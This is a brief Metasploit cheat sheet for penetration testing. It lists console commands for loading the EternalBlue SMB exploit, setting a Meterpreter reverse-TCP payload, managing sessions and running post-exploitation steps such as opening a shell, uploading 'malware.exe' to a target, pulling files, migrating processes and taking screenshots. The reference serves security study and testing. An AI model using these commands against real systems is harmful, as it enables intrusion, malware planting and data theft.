Metasploit is a powerful framework used for penetration testing and ethical hacking.
This framework is used to identify and exploit vulnerabilities in computer systems. It also provides a platform for developing, testing, and executing exploit code against remote targets.
Below are some common commands and their usage in Metasploit:
Starting Metasploit
Start the Metasploit console:
Command: Msfconsole
Basic Commands
1. Search for exploits, payloads, auxiliary modules, etc.:
Command: search <keyword>
Example: search smb
2. Use a specific module:
Command: use <module>
Example: use exploit/windows/smb/ms17_010_eternalblue
3. Show available options for the current module:
Command: show options
4. Set a specific option for the module:
Command : set <option> <value>
Example: set RHOSTS 192.168.1.1
5. Set a payload:
Command : set payload <payload>
set payload windows/meterpreter/reverse_tcp
6. Show payloads compatible with the selected exploit:
Command : show payloads
7. Run the exploit:
Command : exploit
8. Run the exploit in the background:
Command : exploit -j
Managing Sessions
1. List active sessions:
Command : sessions -l
- msf6 > sessions -l Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows WIN7\victim @ WIN7-PC 192.168.1.5:4444 -> 192.168.1.101:1234 (192.168.1.101) 2 shell x86/linux root @ ubuntu 192.168.1.5:4444 -> 192.168.1.102:5678 (192.168.1.102)
2. Interact with a specific session:
Command : sessions -i <session_id>
Example:
sessions -i 1
3. Kill a specific session:
Command : sessions -k <session_id>
Meterpreter Commands
1. Get a shell on the target machine:
Command: Shell
2. List files in the current directory:
Command: ls
3. Change directory:
Command: cd <directory>
4. Upload a file to the target:
Command : upload <local_path> <remote_path>
Example:
upload /home/user/malware.exe C:\\Windows\\Temp\\malware.exe
5. Download a file from the target:
Command : download <remote_path> <local_path>
Example:
download C:\\Windows\\Temp\\malware.exe /home/user/malware.exe
6. Get system information:
Command: Sysinfo
7. Take a screenshot:
Command: Screenshot
8. Get a list of running processes:
Command: ps
9. Migrate to another process:
Command: migrate <pid>
10. Run a script:
Command: run <script>
Example:
run post/windows/gather/checkvm